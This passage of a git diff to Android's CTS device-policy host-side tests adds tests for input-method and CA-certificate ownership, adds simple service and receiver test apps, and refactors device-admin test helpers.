+    public void testIsDefaultInputMethodSet() throws Exception {
+        final String setting = Settings.Secure.DEFAULT_INPUT_METHOD;
+        final ContentResolver resolver = getContext().getContentResolver();
+        final String ime = Settings.Secure.getString(resolver, setting);
+
+        Settings.Secure.putString(resolver, setting, "com.test.1");
+        Thread.sleep(500);
+        assertFalse(mDevicePolicyManager.isCurrentInputMethodSetByOwner());
+
+        mDevicePolicyManager.setSecureSetting(getWho(), setting, "com.test.2");
+        Thread.sleep(500);
+        assertTrue(mDevicePolicyManager.isCurrentInputMethodSetByOwner());
+
+        Settings.Secure.putString(resolver, setting, ime);
+        Thread.sleep(500);
+        assertFalse(mDevicePolicyManager.isCurrentInputMethodSetByOwner());
+    }
+
+    /**
+     * Test: It should be recored whether the Profile Owner or the user installed a CA cert.
+     */
+    public void testGetPolicyInstalledCaCerts() throws Exception {
+        final byte[] rawCert = TEST_CA.getBytes();
+        final Certificate cert = CertificateFactory.getInstance("X.509")
+                .generateCertificate(new ByteArrayInputStream(rawCert));
+        final TrustedCertificateStore store = new TrustedCertificateStore();
+
+        // Install a CA cert.
+        assertNull(store.getCertificateAlias(cert));
+        assertTrue(mDevicePolicyManager.installCaCert(getWho(), rawCert));
+        final String alias = store.getCertificateAlias(cert);
+        assertNotNull(alias);
+
+        // Verify that the CA cert was marked as installed by the Profile Owner.
+        verifyOwnerInstalledStatus(alias, true);
+
+        // Uninstall the CA cert.
+        mDevicePolicyManager.uninstallCaCert(getWho(), rawCert);
+
+        // Verify that the CA cert is no longer marked as installed by the Profile Owner.
+        verifyOwnerInstalledStatus(alias, false);
+    }
+
+    private void verifyOwnerInstalledStatus(String alias, boolean expectOwnerInstalled) {
+        final List<String> ownerInstalledCerts =
+                mDevicePolicyManager.getOwnerInstalledCaCerts(Process.myUserHandle());
+        assertNotNull(ownerInstalledCerts);
+        assertEquals(expectOwnerInstalled, ownerInstalledCerts.contains(alias));
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/ClearProfileOwnerTest.java b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/ClearProfileOwnerTest.java
deleted file mode 100644
index 2c7b240..0000000
--- a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/ClearProfileOwnerTest.java
+++ /dev/null
@@ -1,55 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.profileowner;
-
-import android.app.admin.DevicePolicyManager;
-import android.content.ComponentName;
-import android.content.Context;
-import android.test.AndroidTestCase;
-
-public class ClearProfileOwnerTest extends AndroidTestCase {
-
-    private DevicePolicyManager mDevicePolicyManager;
-
-    @Override
-    protected void tearDown() throws Exception {
-        mDevicePolicyManager = (DevicePolicyManager)
-                mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
-        if (mDevicePolicyManager != null) {
-            if (mDevicePolicyManager.isProfileOwnerApp(BaseProfileOwnerTest.PACKAGE_NAME)) {
-                mDevicePolicyManager.clearProfileOwner(BaseProfileOwnerTest.getWho());
-            }
-            assertFalse(mDevicePolicyManager.isProfileOwnerApp(BaseProfileOwnerTest.PACKAGE_NAME));
-
-            waitForActiveAdminRemoved(BaseProfileOwnerTest.getWho());
-        }
-
-        super.tearDown();
-    }
-
-    // This test clears the profile owner and active admin on tearDown(). To be called from the host
-    // side test once a test case is finished.
-    public void testClearProfileOwner() {
-    }
-
-    private void waitForActiveAdminRemoved(ComponentName cn) throws InterruptedException {
-        for (int i = 0; i < 1000 && mDevicePolicyManager.isAdminActive(cn); i++) {
-            Thread.sleep(100);
-        }
-        assertFalse(mDevicePolicyManager.isAdminActive(cn));
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/ManagementTest.java b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/ManagementTest.java
new file mode 100644
index 0000000..880ef04
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/ManagementTest.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.profileowner;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+import android.test.AndroidTestCase;
+
+public class ManagementTest extends AndroidTestCase {
+
+    public void testProvisionManagedProfileNotAllowed() {
+        DevicePolicyManager dpm = (DevicePolicyManager)
+                mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
+        assertFalse(dpm.isProvisioningAllowed(
+                DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE));
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/WifiTest.java b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/WifiTest.java
index 7520ea4..a4c1137 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/WifiTest.java
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/WifiTest.java
@@ -16,14 +16,12 @@
 package com.android.cts.profileowner;
 
 public class WifiTest extends BaseProfileOwnerTest {
-    public void testGetWifiMacAddress() {
+    public void testCannotGetWifiMacAddress() {
         try {
             mDevicePolicyManager.getWifiMacAddress(getWho());
             fail("Profile owner shouldn't be able to get the MAC address");
-        } catch (SecurityException e) {
-            if (!e.getMessage().contains("for policy #-2")) {
-                fail("Unexpected exception message: " + e.getMessage());
-            }
+        } catch (SecurityException expected) {
+
         }
     }
 }
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml
index 791ae56..5a521db 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml
@@ -33,6 +33,7 @@
         <activity android:name=".NonLauncherActivity">
             android:exported="true">
         </activity>
+        <activity android:name=".SimpleActivityStartService" android:exported="true" />
         <activity android:name=".SimpleActivityImmediateExit" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -45,6 +46,17 @@
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
+        <service android:name=".SimpleService" android:exported="true">
+        </service>
+        <service android:name=".SimpleService2" android:exported="true" android:process=":other">
+        </service>
+        <receiver android:name=".SimpleReceiverStartService" android:exported="true">
+        </receiver>
+        <receiver android:name=".SimpleReceiver" android:exported="true">
+        </receiver>
+        <receiver android:name=".SimpleRemoteReceiver" android:process=":receiver"
+                  android:exported="true">
+        </receiver>
     </application>
 
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityStartService.java b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityStartService.java
new file mode 100644
index 0000000..cda6b6a
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityStartService.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.launcherapps.simpleapp;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+/**
+ * Test being able to start a service (with no background check restrictions) as soon as
+ * an activity is created.
+ */
+public class SimpleActivityStartService extends Activity {
+    private static final String TAG = "SimpleActivityStartService";
+
+    public static String ACTION_SIMPLE_ACTIVITY_START_SERVICE_RESULT =
+            "com.android.cts.launcherapps.simpleapp.SimpleActivityStartService.RESULT";
+
+    @Override
+    public void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+        attemptStartService();
+        finish();
+    }
+
+    @Override
+    public void onStart() {
+        super.onStart();
+    }
+
+    void attemptStartService() {
+        Intent reply = new Intent(ACTION_SIMPLE_ACTIVITY_START_SERVICE_RESULT);
+        reply.setFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+        Intent serviceIntent = getIntent().getParcelableExtra("service");
+        try {
+            startService(serviceIntent);
+        } catch (IllegalStateException e) {
+            reply.putExtra("result", Activity.RESULT_CANCELED);
+            sendBroadcast(reply);
+            return;
+        }
+        reply.putExtra("result", Activity.RESULT_FIRST_USER);
+        sendBroadcast(reply);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleReceiver.java b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleReceiver.java
new file mode 100644
index 0000000..b82d04d
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleReceiver.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.launcherapps.simpleapp;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+public class SimpleReceiver extends BroadcastReceiver {
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        //Log.i("xxx", "SimpleReceiver: " + intent);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleReceiverStartService.java b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleReceiverStartService.java
new file mode 100644
index 0000000..0a0e134
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleReceiverStartService.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.launcherapps.simpleapp;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public class SimpleReceiverStartService extends BroadcastReceiver {
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Intent serviceIntent = intent.getParcelableExtra("service");
+        try {
+            context.startService(serviceIntent);
+        } catch (IllegalStateException e) {
+            setResult(Activity.RESULT_CANCELED, null, null);
+            return;
+        }
+        setResult(Activity.RESULT_FIRST_USER, null, null);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleRemoteReceiver.java b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleRemoteReceiver.java
new file mode 100644
index 0000000..de767d8
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleRemoteReceiver.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.launcherapps.simpleapp;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+public class SimpleRemoteReceiver extends BroadcastReceiver {
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        //Log.i("xxx", "SimpleRemoteReceiver: " + intent);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java
new file mode 100644
index 0000000..107261c
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.launcherapps.simpleapp;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.Binder;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.Process;
+import android.os.RemoteException;
+
+public class SimpleService extends Service {
+    final Binder mBinder = new Binder() {
+        @Override
+        protected boolean onTransact(int code, Parcel data, Parcel reply, int flags)
+                throws RemoteException {
+            switch (code) {
+                case FIRST_CALL_TRANSACTION:
+                    Process.killProcess(Process.myPid());
+                    return true;
+            }
+            return super.onTransact(code, data, reply, flags);
+        }
+    };
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return mBinder;
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService2.java b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService2.java
new file mode 100644
index 0000000..f66078e
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService2.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.launcherapps.simpleapp;
+
+public class SimpleService2 extends SimpleService {
+}
diff --git a/hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java b/hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java
index 3d2c2ff..edd9de6 100644
--- a/hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java
+++ b/hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java
@@ -16,6 +16,10 @@
 
 package com.android.cts.vpnfirewall;
 
+import android.R;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager.NameNotFoundException;
@@ -33,6 +37,8 @@
 public class ReflectorVpnService extends VpnService {
 
     private static String TAG = "ReflectorVpnService";
+    private static final int NOTIFICATION_ID = 1;
+    private static final String NOTIFICATION_CHANNEL_ID = TAG;
     private static int MTU = 1799;
 
     private ParcelFileDescriptor mFd = null;
@@ -45,13 +51,24 @@
 
     @Override
     public int onStartCommand(Intent intent, int flags, int startId) {
+        // Put ourself in the foreground to stop the system killing us while we wait for orders from
+        // the hostside test.
+        NotificationManager notificationManager = getSystemService(NotificationManager.class);
+        notificationManager.createNotificationChannel(new NotificationChannel(
+                NOTIFICATION_CHANNEL_ID, NOTIFICATION_CHANNEL_ID,
+                NotificationManager.IMPORTANCE_DEFAULT));
+        startForeground(NOTIFICATION_ID, new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_dialog_alert)
+                .build());
         start();
-        return START_NOT_STICKY;
+        return START_REDELIVER_INTENT;
     }
 
     @Override
     public void onDestroy() {
         stop();
+        NotificationManager notificationManager = getSystemService(NotificationManager.class);
+        notificationManager.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
         super.onDestroy();
     }
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AccountCheckHostSideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AccountCheckHostSideTest.java
index 0ce2ab7..a79ae11 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AccountCheckHostSideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AccountCheckHostSideTest.java
@@ -63,7 +63,7 @@
     }
 
     private void runTest(String method) throws Exception {
-        assertTrue(runDeviceTests(PACKAGE_AUTH, TEST_CLASS, method));
+        runDeviceTests(PACKAGE_AUTH, TEST_CLASS, method);
     }
 
     private void runCleanupTestOnlyOwner() throws Exception {
@@ -179,54 +179,53 @@
             assertTestOnlyNotInstallable();
             assertNonTestOnlyNotInstallable();
 
-            // The following tests use non-public strings, so disabled until they go public.
-//            // Incompatible, type B.
-//            removeAllAccounts();
-//            runTest("testAddIncompatibleB");
-//
-//            assertTestOnlyNotInstallable();
-//            assertNonTestOnlyNotInstallable();
-//
-//            // Incompatible, type C.
-//            removeAllAccounts();
-//            runTest("testAddIncompatibleC");
-//
-//            assertTestOnlyNotInstallable();
-//            assertNonTestOnlyNotInstallable();
-//
-//            // Compatible.
-//            removeAllAccounts();
-//            runTest("testAddCompatible");
-//
-//            assertTestOnlyInstallable(); // Now test-only owner can be accepted.
-//            assertNonTestOnlyNotInstallable();
-//
-//            // 2 compatible accounts.
-//            removeAllAccounts();
-//            runTest("testAddCompatible");
-//            runTest("testAddCompatible");
-//
-//            assertTestOnlyInstallable(); // Now test-only owner can be accepted.
-//
-//            assertNonTestOnlyNotInstallable();
-//
-//            // 2 compatible accounts + 1 incompatible.
-//            removeAllAccounts();
-//            runTest("testAddIncompatibleA");
-//            runTest("testAddCompatible");
-//            runTest("testAddCompatible");
-//
-//            assertTestOnlyNotInstallable();
-//            assertNonTestOnlyNotInstallable();
-//
-//            // 2 compatible accounts + 1 incompatible, different order.
-//            removeAllAccounts();
-//            runTest("testAddCompatible");
-//            runTest("testAddCompatible");
-//            runTest("testAddIncompatibleB");
-//
-//            assertTestOnlyNotInstallable();
-//            assertNonTestOnlyNotInstallable();
+            // Incompatible, type B.
+            removeAllAccounts();
+            runTest("testAddIncompatibleB");
+
+            assertTestOnlyNotInstallable();
+            assertNonTestOnlyNotInstallable();
+
+            // Incompatible, type C.
+            removeAllAccounts();
+            runTest("testAddIncompatibleC");
+
+            assertTestOnlyNotInstallable();
+            assertNonTestOnlyNotInstallable();
+
+            // Compatible.
+            removeAllAccounts();
+            runTest("testAddCompatible");
+
+            assertTestOnlyInstallable(); // Now test-only owner can be accepted.
+            assertNonTestOnlyNotInstallable();
+
+            // 2 compatible accounts.
+            removeAllAccounts();
+            runTest("testAddCompatible");
+            runTest("testAddCompatible");
+
+            assertTestOnlyInstallable(); // Now test-only owner can be accepted.
+
+            assertNonTestOnlyNotInstallable();
+
+            // 2 compatible accounts + 1 incompatible.
+            removeAllAccounts();
+            runTest("testAddIncompatibleA");
+            runTest("testAddCompatible");
+            runTest("testAddCompatible");
+
+            assertTestOnlyNotInstallable();
+            assertNonTestOnlyNotInstallable();
+
+            // 2 compatible accounts + 1 incompatible, different order.
+            removeAllAccounts();
+            runTest("testAddCompatible");
+            runTest("testAddCompatible");
+            runTest("testAddIncompatibleB");
+
+            assertTestOnlyNotInstallable();
+            assertNonTestOnlyNotInstallable();
         } catch (Throwable th) {
             CLog.w("Tests failed; current accounts are:");
             CLog.w(getDevice().executeShellCommand("dumpsys account"));
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminHostSideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminHostSideTest.java
index 9262894e..591a5be 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminHostSideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminHostSideTest.java
@@ -27,47 +27,24 @@
  */
 public abstract class BaseDeviceAdminHostSideTest extends BaseDevicePolicyTest {
 
-    private static final String ADMIN_RECEIVER_TEST_CLASS = "BaseDeviceAdminTest$AdminReceiver";
-
-    private static final String UNPROTECTED_ADMIN_RECEIVER_TEST_CLASS =
-            "DeviceAdminReceiverWithNoProtection";
-
     protected int mUserId;
 
-    /** returns "com.android.cts.deviceadmin" */
-    protected final String getDeviceAdminJavaPackage() {
-        return "com.android.cts.deviceadmin";
-    }
-
-    /** e.g. 23, 24, etc. */
     protected abstract int getTargetApiVersion();
 
-    /** e.g. CtsDeviceAdminApp24.apk */
     protected final String getDeviceAdminApkFileName() {
-        return "CtsDeviceAdminApp" + getTargetApiVersion() + ".apk";
+        return DeviceAdminHelper.getDeviceAdminApkFileName(getTargetApiVersion());
     }
 
-    /** e.g. "com.android.cts.deviceadmin24" */
     protected final String getDeviceAdminApkPackage() {
-        return getDeviceAdminJavaPackage() + getTargetApiVersion();
+        return DeviceAdminHelper.getDeviceAdminApkPackage(getTargetApiVersion());
     }
 
-    /**
-     * e.g.
-     * "com.android.cts.deviceadmin24/com.android.cts.deviceadmin.BaseDeviceAdminTest$AdminReceiver"
-     */
     protected final String getAdminReceiverComponent() {
-        return getDeviceAdminApkPackage() + "/" + getDeviceAdminJavaPackage() + "." +
-                ADMIN_RECEIVER_TEST_CLASS;
+        return DeviceAdminHelper.getAdminReceiverComponent(getTargetApiVersion());
     }
 
-    /**
-     * e.g.
-     * "com.android.cts.deviceadmin24/com.android.cts.deviceadmin.DeviceAdminReceiverWithNoProtection"
-     */
     protected final String getUnprotectedAdminReceiverComponent() {
-        return getDeviceAdminApkPackage() + "/" + getDeviceAdminJavaPackage() + "." +
-                UNPROTECTED_ADMIN_RECEIVER_TEST_CLASS;
+        return DeviceAdminHelper.getUnprotectedAdminReceiverComponent(getTargetApiVersion());
     }
 
     @Override
@@ -85,23 +62,22 @@
     @Override
     protected void tearDown() throws Exception {
         if (mHasFeature) {
-            assertTrue("Failed to remove admin",
-                    removeAdmin(getAdminReceiverComponent(), mUserId));
+            assertTrue("Failed to remove admin", removeAdmin(getAdminReceiverComponent(), mUserId));
             getDevice().uninstallPackage(getDeviceAdminApkPackage());
         }
 
         super.tearDown();
     }
 
-    protected boolean runTests(@Nonnull String apk, @Nonnull String className,
+    protected void runTests(@Nonnull String apk, @Nonnull String className,
             @Nullable String method) throws DeviceNotAvailableException {
-        return runDeviceTestsAsUser(apk,
-                getDeviceAdminJavaPackage() + "." + className, method, mUserId);
+        runDeviceTestsAsUser(apk,
+                DeviceAdminHelper.getDeviceAdminJavaPackage() + "." + className, method, mUserId);
     }
 
-    protected boolean runTests(@Nonnull String apk, @Nonnull String className)
+    protected void runTests(@Nonnull String apk, @Nonnull String className)
             throws DeviceNotAvailableException {
-        return runTests(apk, className, null);
+        runTests(apk, className, null);
     }
 
     /**
@@ -111,14 +87,11 @@
         if (!mHasFeature) {
             return;
         }
-
-        assertTrue("Some of device side tests failed",
-                runTests(getDeviceAdminApkPackage(), "DeviceAdminTest"));
+        runTests(getDeviceAdminApkPackage(), "DeviceAdminTest");
     }
 
     private void clearPasswordForDeviceOwner() throws Exception {
-        assertTrue("Failed to clear password",
-                runTests(getDeviceAdminApkPackage(), "ClearPasswordTest"));
+        runTests(getDeviceAdminApkPackage(), "ClearPasswordTest");
     }
 
     private void makeDoAndClearPassword() throws Exception {
@@ -142,8 +115,8 @@
         // If there's a password, clear it.
         makeDoAndClearPassword();
         try {
-            assertTrue(runTests(getDeviceAdminApkPackage(), "DeviceAdminPasswordTest",
-                            "testResetPassword_nycRestrictions"));
+            runTests(getDeviceAdminApkPackage(), "DeviceAdminPasswordTest",
+                            "testResetPassword_nycRestrictions");
         } finally {
             makeDoAndClearPassword();
         }
@@ -162,8 +135,7 @@
         clearPasswordForDeviceOwner();
 
         try {
-            assertTrue("Some of device side tests failed",
-                    runTests(getDeviceAdminApkPackage(), "DeviceOwnerPasswordTest"));
+            runTests(getDeviceAdminApkPackage(), "DeviceOwnerPasswordTest");
         } finally {
             clearPasswordForDeviceOwner();
         }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminServiceTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminServiceTest.java
new file mode 100644
index 0000000..f0b8279
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminServiceTest.java
@@ -0,0 +1,249 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.devicepolicy;
+
+import com.android.tradefed.log.LogUtil.CLog;
+
+import java.util.concurrent.TimeUnit;
+
+public abstract class BaseDeviceAdminServiceTest extends BaseDevicePolicyTest {
+    protected static final String OWNER_PKG = "com.android.cts.deviceadminservice";
+    protected static final String OWNER_PKG_B = "com.android.cts.deviceadminserviceb";
+
+    protected static final String OWNER_APK_1 = "CtsDeviceAdminService1.apk";
+    protected static final String OWNER_APK_2 = "CtsDeviceAdminService2.apk";
+    protected static final String OWNER_APK_3 = "CtsDeviceAdminService3.apk";
+    protected static final String OWNER_APK_4 = "CtsDeviceAdminService4.apk";
+
+    protected static final String OWNER_APK_B = "CtsDeviceAdminServiceB.apk";
+
+    protected static final String ADMIN_RECEIVER_TEST_CLASS = ".MyOwner";
+
+    protected static final String OWNER_COMPONENT = OWNER_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS;
+    protected static final String OWNER_SERVICE = OWNER_PKG + "/.MyService";
+    protected static final String OWNER_SERVICE2 = OWNER_PKG + "/.MyService2";
+
+    protected static final String OWNER_COMPONENT_B = OWNER_PKG_B + "/"
+            + OWNER_PKG + ADMIN_RECEIVER_TEST_CLASS;
+    protected static final String OWNER_SERVICE_B = OWNER_PKG_B + "/"
+            + OWNER_PKG + ".MyService";
+
+    private static final int TIMEOUT_SECONDS = 3 * 60;
+
+    private boolean mMultiUserSupported;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        mMultiUserSupported = getMaxNumberOfUsersSupported() > 1 && getDevice().getApiLevel() >= 21;
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (isTestEnabled()) {
+            removeAdmin(OWNER_COMPONENT, getUserId());
+            removeAdmin(OWNER_COMPONENT_B, getUserId());
+            getDevice().uninstallPackage(OWNER_PKG);
+            getDevice().uninstallPackage(OWNER_PKG_B);
+        }
+        super.tearDown();
+    }
+
+    protected abstract int getUserId();
+
+    protected abstract boolean isTestEnabled();
+
+    protected void executeDeviceTestMethod(String className, String testName) throws Exception {
+        runDeviceTestsAsUser(OWNER_PKG, className, testName, getUserId());
+    }
+
+    protected interface RunnableWithThrowable {
+        void run() throws Throwable;
+    }
+
+    protected void withRetry(RunnableWithThrowable test) throws Throwable {
+        final long until = System.nanoTime() + TimeUnit.SECONDS.toNanos(TIMEOUT_SECONDS);
+
+        Thread.sleep(500);
+
+        Throwable lastThrowable = null;
+        while (System.nanoTime() < until) {
+            try {
+                test.run();
+                // Pass, return.
+                return;
+            } catch (Throwable th) {
